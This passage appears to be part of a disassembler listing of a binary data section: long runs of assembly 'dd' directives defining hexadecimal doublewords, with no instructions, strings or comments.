18252D9Fh, 3725EA5Eh, 0A86D42Fh dd 76F0944h, 8FACD8EBh, 2CD3D2B8h, 3BA2995h, 77D77F43h dd 0AD61D8FFh, 44384615h, 9057A027h, 0D3C61F6Ah, 0C646FAE9h dd 606C995Bh, 97DCFE52h, 851DBE63h, 7F4A55B7h, 0A80C6CB4h dd 86D5EC95h, 0D89EC281h, 0F8F927B3h, 0EF3EF1F0h, 49AC23A9h dd 679EC34Fh, 0D81B8792h, 7BAC240Ch, 978B543Ch, 41E5291Bh dd 0ABED1FE8h, 0A08FB621h, 0E26FC848h, 0DC9EFFB5h, 52D307A6h dd 44F4B02h, 90BA89C7h, 0CC0A789Ch, 11BD6F0Dh, 803A5531h dd 0CAE19DF0h, 0C58A9163h, 696069A3h, 0B671B0D8h, 4CCEE9DEh dd 2B963D54h, 944F05Eh, 87B3369Dh, 7196A8F3h, 56F990E4h dd 8B6B185Dh, 4DB6553Dh, 51251BFh, 152280EFh, 586405A3h dd 37B44860h, 8C9D957Dh, 0E26D6A76h, 4C92BBE0h, 0A65CB33Ch dd 5D3838AAh, 0C19CFD97h, 3F1847CFh, 75CF38D8h, 2C2E7DCh dd 1BC17749h, 0D75C5CBDh, 0CBE7388Ch, 6990CEE5h, 30A95430h dd 8871F8C2h, 3DA4CBA6h, 3F7209C8h, 6A725E6h, 99DDD792h dd 0CAE65039h, 6256EE02h, 0A9209F72h, 9322A5FBh, 0E004B4Bh dd 9BC6F544h, 626FD374h, 0A1C8FDFh, 0ACB31F87h, 0A31F0798h dd 0D7BDCE52h, 0FB1217DBh, 0EC61FDDAh, 67ED089Ch, 3B17C360h dd 8E3AC65Dh, 714AB760h, 0A7A81E1Ah, 0DA824738h, 8EF312F6h dd 0F2FAE412h, 0AC77CE1Dh, 0F9A620F5h, 89D2D9A9h, 6D633EA6h dd 9B9463E2h, 0BE967BBDh, 56D16333h, 0BEEB6C0Fh, 0C8E1AEB7h dd 0C4E8A0D2h, 7CEE7130h, 4E64CACBh, 8B2ED3A3h, 5CB4EA44h dd 22151A55h, 8FBC73A4h, 59984CC1h, 0E29685C4h, 0F14A8457h dd 376D821Fh, 22C57EE0h, 44052564h, 1229177Eh, 37D94155h dd 0EE86DF3Fh, 0F1AA5E10h, 63FCFE41h, 0E728569Eh, 4B2669CCh dd 0ACD56D2h, 344657C0h, 0DAF1A99h, 568CE2B5h, 69BAD55Fh dd 6A01EE88h, 0DADC390Ch, 2F86FCA9h, 2B6F794Ah, 8336D51Eh dd 3D968ABEh, 554D46E6h, 36F4116Eh, 0E2958A06h, 12A31DFFh dd 424DB450h, 0D67C5C25h, 8A0F50B5h, 60320F7Dh, 92ED9573h dd 0C2089D36h, 0E12E8398h, 6D0626B6h, 0AC420C85h, 0C852E5A1h dd 0D08A2C37h, 0F403F010h, 5FB20AACh, 33A8DA4Ah, 0B4F2DC47h dd 727F0A07h, 0BEB1D313h, 35822437h, 21E3FFD5h, 0EF60B33h dd 806BE51Dh, 0F2B2AA87h, 0E1A1B9BAh, 17752B0Ch, 0B8A9720Eh dd 0AC0550CDh, 610113A5h, 9CFC4EFAh, 0CEC1BD9Bh, 0DEE1896Ah dd 64E36C4Eh, 0EF6FF1C9h, 0F91FCE99h, 709639B6h, 9C034943h dd 4BAA54F9h, 0B09847EBh, 0DFFEC9C0h, 0EC6F8340h, 76E8810Ch dd 329570B5h, 1A6669ECh, 6BF8173Eh, 3305443Ch, 81BFDA56h dd 0E4967B9Ch, 75E0BB7Ch, 0AB6D91D5h, 402CB8DCh, 0DFD47393h dd 0E35EEED3h, 0F0AF629Eh, 66C2B3A8h, 36FD8C58h, 1C7BEE90h dd 0E9D42CB1h, 2E91F363h, 2F9B60A3h, 94B8C097h, 27E5D8F7h dd 2623A3h, 1AE53E78h, 0AD81CD62h, 0D7E205DEh, 0D078F013h dd 754BDF77h, 0B65424E5h, 49533B2Ah, 0B9C1DB50h, 0C44EC673h dd 0C34BC9FCh, 6D9822B0h, 89CD0D83h, 0C875C753h, 0C0AF216Bh dd 0C246FF11h, 55A734F9h, 47F9D330h, 0F9B48810h, 383EE521h dd 0D0E5D057h, 95C74976h, 2EB1BDB0h, 40946061h, 0FC6DB664h dd 0F4A59EF4h, 91D2AAA6h, 61763D99h, 0D6E83F27h, 0D8CA0880h dd 26461AEh, 0B8B86DB1h, 0DBCA97B7h, 8AFEC93Ah, 7FEA667Dh dd 1276FAD6h, 6A4894D1h, 0BA96B983h, 641D814Ch, 0CDBC9692h dd 75DC24FAh, 56F37FC3h, 344AA833h, 0FD36CA44h, 6F5228AFh dd 21117A64h, 468605E3h, 7CA067F1h, 0B94FA93Fh, 0C48E2CDAh dd 42E6C95Ch, 0E2A95FEFh, 2F03B2CFh, 101361AEh, 9D72C783h dd 0B56699A3h, 45FA84DAh, 252EB916h, 310AD7BEh, 0AC81850Ch dd 21A8180Dh, 222507D1h, 83BC34ADh, 3D23F80Ah, 0A772CA4h dd 7F593353h, 99F7EB3Ch, 60EE0539h, 907BA1F3h, 5228141Fh dd 0A603F2F4h, 0B3790D11h, 0B4F91E7Ah, 0ED59C825h, 0DB25A6E3h dd 0E00A22F4h, 7CD90494h, 893286C5h, 0D9AD61B4h, 8D9BFD77h dd 10BF4686h, 76C9E408h, 0B4E0DB0Ch, 7EE82C67h, 9A6445A8h dd 50B5EA32h, 9E298DF4h dd 7391F232h, 0ECC2393Bh, 0C38F66C6h, 0D9309EA0h, 70708806h dd 0BAA60AACh, 0B004B848h, 32B66781h, 87AB4119h, 0FF15DA35h dd 0CBF7CEBFh, 78866071h, 0D56CFC51h, 2A57DDDDh, 0E3B719ADh dd 4E11C472h, 35B1B786h, 7A9267F1h, 33F77F8Eh, 4D7C9A58h dd 4796E875h, 0B446618Ch, 6EE6CE3h, 56F21BE9h, 448279C6h dd 8578926Fh, 0F3BD7F9Ch, 62C8F274h, 0CC3BD186h, 79981FBBh dd 0C50633C6h, 723790CDh, 0B854BB9Eh, 4AD5BDFAh, 5A0AFA40h dd 345EDCF1h, 0ED9A6988h, 678D76E3h, 28A6F6A0h, 0C9377EB9h dd 1C00B928h, 384674EEh, 500F2718h, 0CFB3EA52h, 0D38D5DEFh dd 157AF397h, 1B23D40Eh, 9A47D76Bh, 0FD1EB029h, 0ECCE6C41h dd 0EA5F9D3Ch, 0CA2ACBEBh, 79803AA0h, 3D081298h, 0D90BEE01h dd 0E8D264A4h, 0FC85B465h, 61FB4976h, 30F4D82Dh, 90A7884Fh dd 6622ED2Dh, 0D86F59A0h, 9721A35Ah, 0A4F09FB0h, 618D8034h dd 9E3C0E1Dh, 0D8A94A87h, 0FDA798BBh, 6D7B169Ah, 0A1ADC2E8h dd 0CA909E2Ch, 13AED227h, 0D112F472h, 0CFB7A566h, 0EEB64DF6h dd 30D44951h, 655C1E4h, 99618753h, 0DDE5C0A0h, 7C1F1BADh dd 39BCC445h, 3CA7DEE2h, 75B69CCBh, 4538ED10h, 944FD310h dd 0E8D14DBCh, 62906F79h, 0A1281768h, 0C3B04394h, 0CC05C0BBh dd 0A08A7F15h, 5C97B62Eh, 0C0990C9Bh, 5EE568B2h, 48659F9Eh dd 37AC87C5h, 8CC781C9h, 9EBDFF80h, 0DFBDBD13h, 0FC04D1F6h dd 0F123A231h, 3292FDE4h, 705E8CCDh, 0E93A97AEh, 2C47AF73h dd 14933CCEh, 1A882A0Ch, 0E7F1CC6Fh, 6BB1A2Bh, 3C078951h dd 142302DBh, 0C055739Fh, 0AB1EDB61h, 0A388D628h, 0EA3CC110h dd 0C924B3EEh, 0EA0030BDh, 995F0494h, 23F8A381h, 96E2141Bh dd 0EAD9DD9Ah, 7BF928B0h, 25FBD325h, 83838A04h, 29E92C48h dd 9FDFEF40h, 465EBA24h, 4E9F12FCh, 8996B71Eh, 0F3225407h dd 0C0AC4FD8h, 0E8C09297h, 5116BE2Ah, 8BE4B606h, 0A844CE65h dd 5C279368h, 0F218B67Ah, 91D4BB32h, 0D8816AD0h, 4BBD2465h dd 0B646F914h, 0FE06F533h, 0C9AB1A93h, 64064AD2h, 35BDF732h dd 118F8BF7h, 3FB3EA9Ah, 0E38FA1Eh, 66C5D60Bh, 2F8342BEh dd 81FF6AFCh, 63593D6Ch, 7E897AF8h, 0B7569CCFh, 0CFB47E28h dd 67DBFE72h, 9431DC9Ch, 2864E29Fh, 0DF4FA0F3h, 0FA91B1D1h dd 3F1ED285h, 6E888294h, 42ADE7Ch, 7E73AD9Dh, 97CC37ACh dd 1491EB69h, 63A7E020h, 0E293DE90h, 2B7D2C41h, 43A0F8D9h dd 5831390Fh, 0EF020069h, 83DD4CE3h, 0C005EA0Bh, 0A63983F0h dd 0B15472E2h, 9B78F087h, 0CEDA92B7h, 0E01D317Ah, 0E26BA9FCh dd 2B2CDFEh, 8CAC3CECh, 69D6F80Eh, 99FE3518h, 45F5F58Ah dd 0A5A46AFCh, 52A19A93h, 0A4ECCA35h, 3249E57Ah, 0D89BD7B9h dd 0B36BB43Bh, 20841CDBh, 0E129AD1Fh, 0E9A5061Ah, 1B8A50E2h dd 0E13CC7EBh, 56714ED8h, 0CFC7220Dh, 0E48F1B6Bh, 3D6ABC54h dd 0EE0D3ABFh, 85B4E343h, 0E306A180h, 3EAD7C77h, 1294BD8Dh dd 6ADC91DCh, 0AEAAD2Dh, 1F7E888Dh, 2E610EAh, 31C88A8Fh dd 26B221D9h, 36C5A2Ah, 0B464F60Bh, 2908B9FAh, 0B5B1D126h dd 4E4C31EEh, 98EC7B5Ah, 0F0357BEh, 8EF340CDh, 57DEEBAEh dd 0CE8B0AA1h, 1424E505h, 34CAB915h, 0E683A8DBh, 7972DE90h dd 343DB3B2h, 840EE841h, 4305FCA2h, 97E4D557h, 84AE3623h dd 0F6B98C46h, 6CFAF6E1h, 38607133h, 9A26FC5h, 2CC69E33h dd 0AE325651h, 24D3256Eh, 988B9785h, 0CBFA9E81h, 91550B84h dd 0E06BE3A1h, 0D7D08F1Ch, 8B0FA6BEh, 0CA2C2357h, 0ED0FF7BCh dd 6AC7C2DAh, 3A88EA41h, 99E63E52h, 79EBB38Fh, 2FA830B5h dd 97BDD440h, 47F7D8E5h, 24BA239Ah, 0B5497E52h, 0E12E6643h dd 6AD40EDCh, 0F74A7612h, 0CF1D3613h, 0DE1C7DEEh, 6E1190A0h dd 0A45D8B03h, 0CBD810E7h, 0FE993A9Dh, 682AE10Dh, 0BC3853C3h dd 89CB0A7Bh, 87D9A8C5h, 7E755019h, 0D5A9E84Dh, 0ADCD9DDh dd 67E5E942h, 3550E918h, 549409D2h, 0E95A82Eh, 20F487B9h dd 26B4B19h, 64A1D738h, 0E245E053h, 0C471E965h, 3F183FE8h dd 0F01A3705h, 922A0ADEh, 69434354h, 0A2C3FEABh, 0F95D9191h dd 40EB3562h, 319FE266h, 0BD334AC9h, 3960DBDBh, 6080AAB2h dd 0BDFA60Bh, 0DE53F6D4h, 43FF3AB2h, 3A9970F8h, 4D904C43h dd 0BEBDC0F0h, 4C722A2Bh, 2CBAFBDEh, 0F008E65h, 0BEA16E52h dd 0CBDC39A4h, 54B6DCC3h, 0F635C8B1h, 91FB7588h, 8815DCB3h dd 0D3389F95h, 0FD4F6ED0h, 0D4186024h, 7AD49988h, 311BA0F9h dd 2EE03D48h, 0D832517Dh, 6FF913BEh, 0AD0D30BEh, 97BFD6DDh dd 5FABE7C0h, 272194B7h, 8223044Ah, 0F2D24DCEh, 70D50FDDh dd 0B37B752Eh, 0F6E95842h, 1A4F02B8h, 22768CAEh, 9A510680h dd 808A8CA8h, 618B4DC8h, 2C7F5B38h, 0B67B0C8Fh, 9B8DF64Eh dd 0D21E24CEh, 702EDE77h, 4C9DC0DDh, 8E833F17h, 1A2EA46Dh dd 7E738E27h, 0F226CA4h, 684B5B3h, 23061A73h, 31548AF5h dd 0B62A2C09h, 0E4D4994Bh, 0F4141D6Fh, 623B87EEh, 0B5593547h dd 216D184h, 190125E8h, 0FDE09641h, 0CEEB3D41h, 18AB4543h dd 0DE3BABh, 0B0320026h, 5148B7A1h, 7A94BCAEh, 9CC3A70Bh dd 0AB6DE5C8h, 37A9E676h, 74C3EBE3h, 0D5FC1459h, 8597AC5Eh dd 54311B0Eh, 6EB8ECDCh, 0A8A9D39h, 0A3E46F42h, 2B147F67h dd 4FAA9D74h, 9556C915h, 0ABEB2BD5h, 0CC0BAFD8h, 0B4269F87h dd 0C777C9ACh, 8F05F073h, 8564D3F7h, 0FA43C7EEh, 0B95D2E42h dd 0F6BB4675h, 708B5AADh, 8EF231A8h, 88E2CA57h, 7DF6C872h dd 60F137DCh, 0C2E89210h, 8B8B669Eh, 6FE9EFB9h, 0E92FE63Dh dd 0F7B3576Fh, 0B041ADF0h, 0B823CFCDh, 0A80DD145h, 0AF91D168h dd 0ADB2C86h, 1D5D6ACDh, 9D1A4279h, 0B882EF63h, 0D19230D8h dd 61EBD768h, 0CDB8FD13h, 0F6EF6B0Ah, 7665F00Bh, 0E07B8257h dd 8A0E0F57h, 5DF0CBFCh, 6138A546h, 50798EC3h, 28DA1237h dd 492914Bh, 2E311773h, 2BE3D0B2h, 0E2DE1F5Fh, 40728B82h dd 53BC7C68h, 0BE01B631h, 9578D61Ch, 66FD85F0h, 30F473C3h dd 0EE6BD216h, 682BB0B2h, 3491B6BBh, 0A8BB10h, 377E6495h dd 4CB2BE85h, 3BA6BB07h, 0C8E566D0h, 86D5888Dh, 163E7546h dd 5DC5B1AEh, 2B36BE71h, 0B9772987h, 0AC503F79h, 0FA7BBF12h dd 5263AE51h, 91A817A4h, 812288F2h, 8732DFD7h, 0CF7400AAh dd 6978D51Dh, 9AB06AD0h, 0CDCD88D8h, 866E304Eh, 0ABB77A44h dd 7C8F1BDDh, 8EF426A9h, 0DDEC9B8Fh, 2A3C8026h, 0F95CE94h dd 0AFA0A702h, 0C5DE21FCh, 74BABDFFh, 0B43FAFD5h, 0F2A33B07h dd 4F4CA8F8h, 0EC6010BDh, 875F5284h, 9CD66675h, 88B6DE1h dd 4475BAAh, 9534DD41h, 0BD80D96Dh, 9A192C93h, 719991AFh dd 4C12F694h, 1BF703A7h, 9E10B95Eh, 3D4FEA18h, 1736674h dd 5A28E8Ch, 5F1B5433h, 0A2487ECAh, 1C543379h, 256F1A23h dd 570B2F53h, 2AD3DCB2h, 8166495Fh, 6009A1BFh, 7A165ECFh dd 8370D98Eh, 0BA4D421Ah, 71A78089h, 11EF7DD4h, 0CA26DB20h dd 230B1ACDh, 388863EFh, 0C88B965Eh, 7D7B168Ah, 31EEEA30h dd 46CBC328h, 0D8A340D6h, 0A4908BF6h, 75506AF9h, 1F9CC405h dd 5FDFBF10h, 0A4607C8Eh, 493A6971h, 87459101h, 48459E2Ah dd 9D8676FEh, 561FE6D3h, 2D338C85h, 0A26CF9C5h, 6F661907h dd 97077092h, 0DAC4F6FEh, 8C4B0A45h, 0C3AF6F7Dh, 510B0492h dd 932524BAh, 0A49DDE5Ch, 87FA08Ah, 5F43845h, 8098413Dh dd 86F6F8CFh, 6DF2D5C3h dd 0B43E0ACBh, 0EBAE0D5Ah, 955B75EAh, 69731CE3h, 2E59450Eh dd 96C97FE8h, 5A8F631Bh, 167B7AC3h, 9434ECB6h, 0A086933Fh dd 0CC9B26A2h, 3637D61Fh, 842EACE5h, 44C520B2h, 0BE18B948h dd 4C309376h, 0BC1E5B1Ah, 0E782B5A8h, 5E1CDE3Ch, 0B2710FEAh dd 50820C25h, 33087342h, 0EBE5D70h, 628A84F0h, 0A67B3657h dd 41B68F9Eh, 19126B68h, 0DDDBA9A9h, 0DD478B4Eh, 0D2F29BFh dd 21831E6Eh, 0FA51BE50h, 6D3D3DC6h, 309DFA81h, 2895113Ch dd 0B23674EDh, 0D7A908B6h, 66838EB0h, 9EB602ADh, 0CBF0CAB6h dd 5B6409D1h, 3EE5F796h, 0F5F97EFh, 0A2A47BAEh, 0F6437F39h dd 645DB22Dh, 28538458h, 969138E9h, 3A54B2A4h, 0C854C4D4h dd 52410D9Ch, 205B751Bh, 8CA11B89h, 0F153E6EEh, 0D43F7604h dd 0FAD66A6Eh, 703F1189h, 0F6F723A8h, 0CC3382B8h, 7C2AE8B7h dd 2151B93Ch, 9E9A270Fh, 0E2CA96ACh, 64D392F1h, 0B36334D4h dd 0FEA9D903h, 480E17F2h, 4B1C8EB8h, 0A5D77D7h, 0BECB7DD6h dd 4E816B27h, 254A4323h, 9215B7BDh, 0A091EDBCh, 0CC142CE2h dd 1E558D2Ch, 4958E8A5h, 8EC22086h, 0D50FBE5Ah, 643F8877h dd 0E0534346h, 2E968FF2h, 9E1B1F5Ah, 0DC7DC4F0h, 7809AD06h dd 66AD3D10h, 3D89EE4Eh, 646BD6F9h, 0F1622C53h, 412BC2CCh dd 57D940F6h, 0B39CFB29h, 0A30674ACh, 6329688Eh, 19D48604h dd 0F7479F07h, 7C0C3DE6h, 299E7CBEh, 0CA9B4925h, 0F70CD589h dd 0F5FC0E36h, 61A584BEh, 0ACB74980h, 89A1D4DAh, 79664EF4h dd 1DBCF413h, 15958082h, 0AED66E84h, 48EB7ED9h, 1B6D8804h dd 6CC8D571h, 0F88415BEh, 7071B986h, 342DBE93h, 84DB7C1h dd 5207EE27h, 0E40C10D2h, 0F64D07D1h, 0F5CF644Eh, 0E8C2775Dh dd 0C024C93h, 0FD3879E7h, 0F747DA73h, 45C7DE6Fh, 29DF3B58h dd 0E1B2D01Dh, 0F8A4F4DAh, 65EC0FEBh, 0CD0F57D8h, 0A5B00845h dd 0DF16EFDAh, 0E460BEA0h, 2D0AC955h, 0DAAED676h, 0ABA7060h dd 0A60452Dh, 942D0EEAh, 0BEC3D825h, 0C7823335h, 4FB8C652h dd 9B27D52Ch, 8B7C136Eh, 0FC05B546h, 65D49158h, 0AD1D464Bh dd 0AFE2EFFFh, 0AD2BB611h, 916FCFA1h, 0DCAFB611h, 0ABC91100h dd 0D7D6890Dh, 3823E7C4h, 0FD7E3913h, 196BE799h, 28F44742h dd 0B1B4BA5Fh, 0CDD9BEFCh, 2AA488F7h, 528DBA16h, 0D007D56Fh dd 381076DEh, 23136AAEh, 57D5453Bh, 3BCACA9Eh, 91E99FA9h dd 6E2EDE79h, 0E8FB6C26h, 8C8DC0D7h, 4710299Ch, 69B87604h dd 53641DCEh, 8E6451E9h, 91F4D36Ch, 0F759DC06h, 0ABFCD707h dd 0A9CA1B86h, 2E22E59Fh, 4E1AD734h, 2F660353h, 5873D513h dd 10948BDCh, 10BF2BC7h, 24C66572h, 92E9754Bh, 614404ECh dd 2C332DB4h, 1144ECDEh, 1DD5FF1Ch, 364BA26Fh, 0FD1FAAF0h dd 0E3CE9AA9h, 62D03E94h, 945612DCh, 0F32E5119h, 48C7F7FAh dd 0A8758EBFh, 5CB83399h, 0C5FCFA6Ah, 6BF12D64h, 3C7F6261h dd 91250D1Fh, 0DA907537h, 0CB1B6934h, 66ADD07Eh, 578FC6EEh dd 2AB2233Ch, 1072A464h, 19218462h, 90550FE6h, 0D586A919h dd 0A43E3F57h, 8C3710A0h, 6D1BEC6Ch, 0E143B55Bh, 0D6D01304h dd 4941ECF1h, 0F076595Ah, 0FC099293h, 0C9C16DF7h, 0B195F9A2h dd 956A5DFAh, 63968D2Ah, 3493D7D5h, 0A072A41Fh, 7F3948BCh dd 228577E3h, 85125443h, 37F0CCCDh, 0A3B46D55h, 0CD754022h dd 2FBB9442h, 0BDC4FFAEh, 1D3E73BCh, 5BBEC11h, 1E47695h dd 0A266A49Ah, 54B59FDFh, 0D5DEC5DDh, 0C76181BBh, 0D5B02C82h dd 3644E8DFh, 117EDB97h, 21CE27Ah, 38355A22h, 0F53CED71h dd 2D85B4EFh, 268A7009h, 93EE7053h, 16251ACAh, 0FF6028EAh dd 232DC301h, 1CC5C5D0h, 0BDE279Ch, 0B42C0D3Ah, 0CF2B7EEEh dd 66830990h, 0BC1CFF34h, 0C7B94A17h, 0DDD9A5B8h, 51D2D9E4h dd 0B80CA200h, 9FFD32A8h, 2ACC4C81h, 2335A808h, 8E380500h dd 0B9C3A955h, 8185AF6Ch, 15138306h, 0EDB33051h, 0B8DFCE9h dd 796ED646h, 1430BD78h, 9D48F9E8h, 8392B9B3h, 9C3EF09Fh dd 0D47238A1h, 0A1CB82D3h, 750EE0CEh, 0B9382771h, 5D43F2EFh dd 0A9BE105Ch, 5D39F09Ch, 0DCC04A03h, 0CBC8A6ADh, 7B3DDD2h dd 0F63A6278h, 9BE0FAB1h, 0E3C50513h, 27B917A4h, 4E3D0BB3h dd 94AB372Bh, 0F9E61719h, 50FFEDD8h, 0D325758Dh, 0D1FC20BCh dd 0DF1DFD9Eh, 0EDE1C3C2h, 5D452597h, 1EA89EE5h, 34CECC17h dd 0A1E98CD3h, 51B1A8B5h, 3926D2FFh, 0D703AF2Dh, 204CB22h dd 325D6FBAh, 92DA803Eh, 6B37CC03h, 60578E83h, 0B6805AC8h dd 5578041Dh, 0A5A9E901h, 0CCC57DFBh, 0F99B4B5Eh, 7387AF70h dd 4F0CBCA3h, 988BDBCEh, 4B6E66AAh, 23B538C4h, 6E716DDFh dd 0AB4881ACh, 52252B7Bh, 873E9F9Ch, 5497C4C3h, 9C5F47EAh dd 40330686h, 3C0A95C8h, 11DEC15Dh, 0FEF3E961h, 0F1747D5Bh dd 0F717B44Eh, 75D86F24h, 356F1087h, 0D5CCE3C6h, 6D80FE54h dd 33F8CAE1h, 96078C19h, 0C75C4D0Dh, 0FC5F23FBh, 0C7D1985Eh dd 7C11A2F0h, 293168E3h, 8AC2BF2Eh, 3A8AD5BAh, 1376DF3Ch dd 6A0387Bh, 9C5B37C2h, 592EF068h, 3D0F1EDh, 968DD199h dd 0FCF2424Fh, 0F1A20E14h, 74FA120Fh, 0CD9E6008h, 58F83B37h dd 0ABCDF6F0h, 538B7CD1h, 0A619B531h, 0AF49AF81h, 0C82D6279h dd 0E1B89BD3h, 0EF612660h, 68C598E9h, 0AA734515h, 0EB5BA7AFh dd 0CAF65972h, 727FDD9Eh, 2E577942h, 834B76Ah, 183FF1A6h dd 23A451C8h, 17F50365h, 0E443EE47h, 0F5524226h, 74BA080Ch dd 35FEEF09h, 9484FCF7h, 0C5930BD0h, 7D8B8CB1h, 0C60E4CC3h dd 0DC08D3DEh, 6929E2A2h, 32A87AF8h, 169132DDh, 0A700902Bh dd 0D3C1233Ah, 47DA9BBCh, 35C6C633h, 8C40C4F2h, 79BDC902h dd 31F4B58Ah, 17867172h, 7DAF1150h, 30EF62A3h, 9672BA4Ah dd 45A3F626h, 3D18DC04h, 51A4C539h, 0AFA28FB5h, 0D11FD271h dd 0E79083D1h, 0CFEDCB61h, 0F80F62E9h, 0CBE0B8D5h, 0FAD8AD0Fh dd 0EB4C6082h, 6AC1BB3Eh, 2B64D7B2h, 0A8640C0h, 1B6979F9h dd 0A395D785h, 0D7EDE049h, 0C592F91Dh, 0F4935581h, 0ED13004Bh dd 0C8536916h, 79330380h, 4A236849h, 9B8A3F17h, 0CA4EF480h dd 6348FFC9h, 0AE29F2B5h, 0AB398FFFh, 0CA257258h, 62A493E3h dd 0AEE32218h, 48029AEDh, 0DA52C613h, 0E2ABE42Eh, 4EFE7932h dd 303ECDBEh, 56D77172h, 4A29807Fh, 62DD63A2h, 55E40ECAh dd 6754F2E6h, 1791EE04h, 47645A09h, 0E6461FFDh, 0DD55FD11h dd 0A24C1F9Fh, 0FC6BDA52h, 2963B580h, 75E50FE2h, 4D7F8EE1h dd 784B7EBAh, 8FD5ACFCh, 6C723CDCh, 0D1AAB0AAh, 277CCAFAh dd 760A97DCh, 677FD823h, 8E2155FAh, 33F999Eh, 4629C54Ch dd 672C7093h, 8E2A0940h, 36B76ABh, 0C52BA846h, 27BB6538h dd 57AA8F85h, 0DF0F3579h, 0D34A8F95h, 0A2A3CA41h, 95B397E9h dd 42F05965h, 8ACC4A10h, 306EC954h, 9D35D4Fh, 0D85B68A2h dd 39D4A74Eh, 6866C3AAh, 7185D1D4h, 6C6AA977h, 0D296E654h dd 24CEC039h, 0F631913Dh, 0A7F059B9h, 0EE701E47h, 0B3407800h dd 0E281311h, 0BB247899h, 0A83E2CE7h, 987DE480h, 1BA6FD1h dd 0C46B22A9h, 0A59B7FEDh, 0B9FF521Bh, 9182BB64h, 1C7FCE99h dd 0DA61946Dh, 0B8105793h, 8898342Eh, 0C40972h, 4C662DDEh dd 7AF27961h, 499BAF59h, 631FE5ADh, 55C5CFC7h, 6763D264h dd 9711DF44h, 7F822E9h, 0C6C4036Dh, 0A734F399h, 963BEAE5h dd 0BF229ADEh, 0B25DC05h, 0BAA2430Ah, 29A3D3B6h, 58037ABAh dd 61C2AEF8h, 746AC029h dd 0ED9AAF21h, 0A570CAB5h, 0B70C97F5h, 87F6D81Bh, 9EE1D50Ah dd 1BD0591Ah, 7AB9E5CEh, 69320010h, 9281149h, 0C0EB7AACh dd 24EEAE40h, 579FE43Ch, 5F9E4F01h, 0DB0312BDh, 0D142BFF1h dd 0A5A53255h, 96348BE5h, 0BCCCD71Dh, 8AE8F4E9h, 0B8D7E9D7h dd 895B5D8Ah, 18D761C2h, 59C6A3DEh, 7875C3A2h, 499A52C8h dd 607AE6E5h, 0D4868607h, 0A6FED006h, 3781993Ch, 47005E71h dd 0FE401C53h, 0AB207B12h, 72301482h, 752878F6h, 4F2C2CD6h dd 6BEAE4A0h, 86BEFB9h, 0C05B62BDh, 0A7BB5FFBh, 0B677425Ah dd 168EB3E4h, 5F3DCA19h, 0FAC296EDh, 88AFD813h, 8010752Eh dd 44829B2h, 4EE43D7Eh, 7BF27092h, 491B2B42h, 635CA7AAh dd 55A6ACC6h, 6770C5F8h, 1789D785h, 0C77C2649h, 0A64201DDh dd 973FF061h, 9E31696Bh, 0BB285A96h, 92C3C2Ch, 39AA7335h dd 0E82B2B87h, 0B8CB66B6h, 11EAA0F6h, 7C92C120h, 699AAFA9h dd 0E884CA7Dh, 9006961Dh, 0B441D803h, 97A0550Ah, 1F701996h dd 78080550h, 683C1091h, 89A2194Fh, 80AF7EAAh, 489AC46h dd 478C6338h, 67820E85h, 0D70372F9h, 0D740AFD5h, 0A4A03A21h dd 96B00FF9h, 0BC88151Dh, 8A0C17F3h, 0B8C3E652h, 82365CEh dd 58509D62h, 79E8BD6Eh, 9863C25Ah, 0D2DDC24Ch, 0F73C3623h dd 45C1B6E6h, 0B7963016h, 0E7169134h, 0F757427Dh, 5EB70A5Dh dd 30776A13h, 7A540402h, 0BA276936h, 0FE453CB6h, 0EB7CF4B0h dd 0E03C7FB1h, 5F7DB2A1h, 2CA02FF9h, 2429A225h, 54DBBE5h dd 0C3CD619h, 86480EDh, 8664913h, 768BA5AEh, 9A5ED872h dd 0DBAD1D1Eh, 0EBB41882h, 0DAF4A74Ah, 0F0C479B6h, 0DB259DC0h dd 0F4C7A579h, 4C6DF45h, 9A339A9h, 0E86817CDh, 0AE4C9D1Ch dd 0A610E9E7h, 0A7083D48h, 270C3C6Dh, 988A4305h, 888B03AFh dd 0B8AB42EAh, 21AA82D4h, 64A2E607h, 0D5828E08h, 1EB0FA0Dh dd 0C130A60Dh, 94F0E843h, 9FD0E522h, 23A0E9A2h, 4E281562h dd 5B7410A6h, 815D17Eh, 407162AAh, 64A8A246h, 77FDE238h dd 6F89CE05h, 0D31F5239h, 3543BE35h, 47A4C233h, 773463F5h dd 5C4FB317h, 6A25D6F9h, 58B816DBh, 68268C3Dh, 7843790Dh dd 79FB5F6Eh, 0F8602D40h, 0B98EB3C4h, 0F86C8677h, 389FA6D1h dd 409AD1FDh, 549C6930h, 0E69FB667h, 3EA1F87Fh, 3B23952Eh dd 0DAE5F5A7h, 31079950h, 0FD79CCBEh, 92C3036Ah, 94D90F85h dd 2E35028Bh, 416AFFC7h, 54D54216h, 0F7C343D1h, 3F6E222Fh dd 5B2572D5h, 88D3A29h, 50191212h, 0CC72080Ch, 0BAA8FD7Eh dd 81CF60F0h, 945E1376h, 8D84EBF4h, 0B52F7A8Ah, 875B5CB0h dd 0F7B42B4Eh, 0A72BCBC6h, 860FE4EDh, 176A16A3h, 6E6189F7h dd 637E3D1Ch, 0E5749C22h, 0DFF17306h, 8B761BD7h, 1914AE92h dd 0D1CB7495h, 2CD0DF45h, 41EF52CCh, 0ECEB2B9Bh, 226B7735h dd 4D283889h, 4B4AB5B6h, 0F1DF79E0h, 9F19A534h, 8BBFD0EDh dd 680C0936h, 0E06486DEh, 0A4C6403Dh, 79E815Dh, 57F261F8h dd 0CF665207h, 3BC2AE95h, 5E244A83h, 0B34A48Dh, 528E5193h dd 6DC5D97Fh, 5BA9EFDAh, 0E97E90FDh, 38E777ADh, 594D5E1Eh dd 0C8E92D58h, 0B1023380h, 0FCEE4719h, 3A1C8640h, 0C1656175h dd 149C11BCh, 0C65FAAF9h, 4E41F6FEh, 0F3B39CAEh, 0BE7DF1A7h dd 3839B10h, 0F4FFCFDEh, 96C2047Ah, 96198F4Dh, 2E55C227h dd 407D1F75h, 54AD72EDh, 77673B56h, 0FF103EAEh, 0BBAC7C55h dd 18F1BBA9h, 4898D212h, 0D00D684Ch, 0A429121Eh, 9E4F3860h dd 0AB5FFFFEh, 82C4FD78h, 0B58F73F4h, 87EB58B1h, 773C2A0Eh dd 0E7A7CC26h, 0A68DE5FDh, 7E9166Bh, 56E2096Bh, 6FFE7DEAh dd 0E3F4BCBBh, 5E716382h, 0CB761349h, 39D4AA13h, 41AB7615h dd 7440DCC5h, 7D1751CCh, 0E26F2B5Bh, 2BF57795h, 49293839h dd 498A350Eh, 0F03EB964h, 9F0985B6h, 8B67206Eh, 0E86811B5h dd 20F28A5Dh, 44BF46BEh, 0F71A00C2h, 0DF8CA1F9h, 0BE77347h dd 0B96BFE75h, 91D3527Fh, 